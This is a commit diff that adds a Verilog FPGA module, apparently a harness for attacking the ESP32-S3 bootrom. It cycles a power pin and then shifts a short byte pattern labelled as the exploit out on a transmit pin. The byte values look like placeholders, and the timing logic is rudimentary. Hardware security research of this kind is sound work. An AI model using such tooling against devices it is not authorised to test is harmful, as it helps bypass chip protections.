added FPGA project and live bootrom rips

ESP32-S3_Exploit/ES32-S3_Exploit.v

@@ -0,0 +1,73 @@
+module exploit
+(
+    // exploit
+    input clk_in,
+    output bang_tx,
+    output power_tx,
+    output [5:0] led
+);
+
+////////// EXPLOIT
+localparam INSTRUCTION_OFFSET = 100;
+
+// da official exploit code
+localparam EXPLOIT_BYTES = {16'hFA,16'hEB,16'h11,16'hDD};
+
+localparam EXPLOIT_BYTES_LEN = $bits(EXPLOIT_BYTES)-1; // $bits() seems to work // https://www.linkedin.com/pulse/bits-clog2-size-uses-differences-muhammed-kawser-ahmed
+
+localparam LEDS_ON = 0;
+localparam LEDS_OFF = 6'b111111;
+
+reg [1:0] bang_tx_reg = 0;
+reg [1:0] power_tx_reg = 1;
+reg [1:0] led_run = 1;
+reg [1:0] rst = 0;
+reg [1:0] running = 1; 
+reg [5:0] ledCounter = 0;
+reg [23:0] instruction_counter = 0;
+reg [23:0] exploit_tx_count = 0;
+reg [EXPLOIT_BYTES_LEN:0] exploit_bytes_reg = EXPLOIT_BYTES; 
+
+always @(posedge clk_in) begin
+    if(rst == 1) begin
+        running = 1;
+        power_tx_reg = 1;
+        rst = 0;
+    end
+
+    if(instruction_counter == INSTRUCTION_OFFSET) begin
+        power_tx_reg = 0;
+        rst = 1;
+    end
+
+    if(running == 1) begin
+        if(instruction_counter >= INSTRUCTION_OFFSET && instruction_counter <= INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin 
+            bang_tx_reg <= exploit_bytes_reg[exploit_tx_count];
+            exploit_tx_count <= exploit_tx_count + 1;
+            led_run <= 1;
+        end else begin
+            led_run <= 0;
+        end
+
+        if(led_run == 1) begin
+           ledCounter <= ledCounter + 1;
+           if(ledCounter == LEDS_OFF) begin
+                ledCounter <= LEDS_ON;
+           end
+        end
+
+        if(instruction_counter == INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
+            ledCounter <= LEDS_ON;
+            rst = 1;
+            running = 0;
+        end
+
+        instruction_counter <= instruction_counter + 1;
+    end
+end
+
+assign led = ledCounter;
+assign bang_tx = bang_tx_reg;
+assign power_tx = power_tx_reg;
+
+endmodule